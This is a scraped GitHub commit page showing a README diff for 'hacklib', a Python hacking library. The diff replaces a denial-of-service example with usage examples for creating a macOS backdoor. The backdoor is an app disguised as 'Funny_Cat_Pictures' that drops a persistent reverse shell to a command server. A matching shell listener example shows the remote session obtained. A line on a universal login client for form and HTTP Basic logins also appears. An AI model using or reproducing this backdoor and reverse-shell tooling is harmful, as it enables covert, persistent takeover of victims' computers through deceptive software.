Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 4b09fd5

Browse files
authored
Backdooring info
1 parent e47642b commit 4b09fd5

File tree

1 file changed

+20
-4
lines changed

1 file changed

+20
-4
lines changed

README.md

Lines changed: 20 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -41,13 +41,29 @@ hacklib.installDependencies()
4141
```
4242
-
4343
#### Usage Examples
44-
Multi-threaded Denial of Service (DOS) stress-testing:
44+
Reverse shell backdooring (Currently only for Macs):
4545
```python
4646
import hacklib
4747

48-
dos = hacklib.DOSer()
49-
# Create 50 threads to send GET requests for 30 seconds
50-
dos.launch('127.0.0.1', duration=30, threads=50)
48+
bd = hacklib.Backdoor()
49+
# Generates an app that drops a persistent reverse shell into the system.
50+
bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
51+
# Takes the IP and port of the command server, the OS of the target, and the name of the .app
52+
```
53+
-
54+
55+
Shell listener (Use in conjunction with the backdoor):
56+
```python
57+
import hacklib
58+
# Create instance of Server with the listening port
59+
>>> s = hacklib.Server(9090)
60+
>>> s.listen()
61+
New connection ('127.0.0.1', 51101)
62+
bash: no job control in this shell
63+
bash-3.2$ whoami
64+
leon
65+
bash-3.2$
66+
# Sweet!
5167
```
5268
-
5369
Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins:

0 commit comments

Comments
 (0)